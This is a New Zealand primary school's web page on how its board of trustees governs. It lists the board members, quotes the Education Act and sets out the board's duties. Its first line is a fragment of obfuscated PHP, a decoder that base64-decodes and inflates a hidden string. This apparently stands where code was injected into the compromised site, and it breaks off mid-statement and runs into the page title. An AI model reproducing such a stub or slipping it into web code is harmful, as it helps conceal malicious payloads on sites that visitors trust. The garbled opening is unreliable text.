function vUMmFr($MkUOmK) { $MkUOmK=gzinflate(base64_decode($MkUOmK)); for($i=0;$i How the School is Governed | | North East Valley Normal SchoolNorth East Valley Normal School
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How the School is Governed

 

The members of the Board are:

  • Steve O'Connor(Chair)

  • George O'Brien

  • Jesseme Jones

  • Paul McDowell

  • Karen Sintmaartensdijk(staff rep)

    John McKenzie (Principal)

Sara Lindsay is the minute secretary.

What is Governance?

How can a Board of Trustees govern effectively?

A:    The board chooses, within legislation, how it wishes to govern the school and should document and agree to abide by this.

A board’s style/model/way of governing is determined first and foremost by the board acting within legislation. Legislation says:

The legal responsibility of boards of trustees is determined by Section 75 of the Education Act 1989:

s.75 Boards to control management of schools –

Except to the extent that any enactment or the general law of New Zealand provides otherwise, a school’s board has complete discretion to control the management of the school as it thinks fit.

Definition:

The board is entrusted to work on behalf of all stakeholders and is accountable for the school’s performance. It emphasises strategic leadership, sets the vision for the school and ensures that it complies with legal and policy requirements. Policies are at a governance level and outline clear delegations to the Principal. The board and principal form the leadership team with the role of each documented and understood. The Principal reports to the board as a whole with committees used sparingly and only when a need is identified in order to contribute to board work. The board is proactive rather than reactive in its operations and decision making and does not involve itself in the administrative details of the day to day running of the school. Enhancing student achievement is its focus.
 
Thus, a board’s roles and responsibilities:

The Board of Trustees key areas of contribution are to:

• Set and, as needed, modify the vision, mission and values.
• Protect the special character/values of the school
• Ensure a sensible and feasible Strategic Plan.
• Approve and monitor the Annual Plan
• Develop and review the general policy direction.
• Monitor and evaluate student learning outcomes
• Appoint, assess the performance of and support the Principal.
• Act as good employers.
• Provide financial stewardship.
• Oversee, conserve and enhance the resource base.
• Approve major policies and programme initiatives.
• Manage risk.
• The board is committed to a programme of professional development that includes new trustee induction
• Build a broad base of community support.
• Exercise governance in a way that fulfils the intent of the Treaty of Waitangi by valuing and reflecting New Zealand’s dual cultural heritage.

B:  The Board’s policies reflect this definition

Doug Matheson in his book “The Complete Guide to Good Governance in Organisations and Companies” states – Board policies are its guiding principles and rules for the management of the organization and provide the boundaries for management’s internal actions and their relations with outsiders. Board policies should reflect implementation and practice of the organizations values, beliefs and culture. Board policies should reflect compliance with legislation and regulations and customs of the country. The policies should be clear in terms of defining the way the board, management and employees are expected to act.”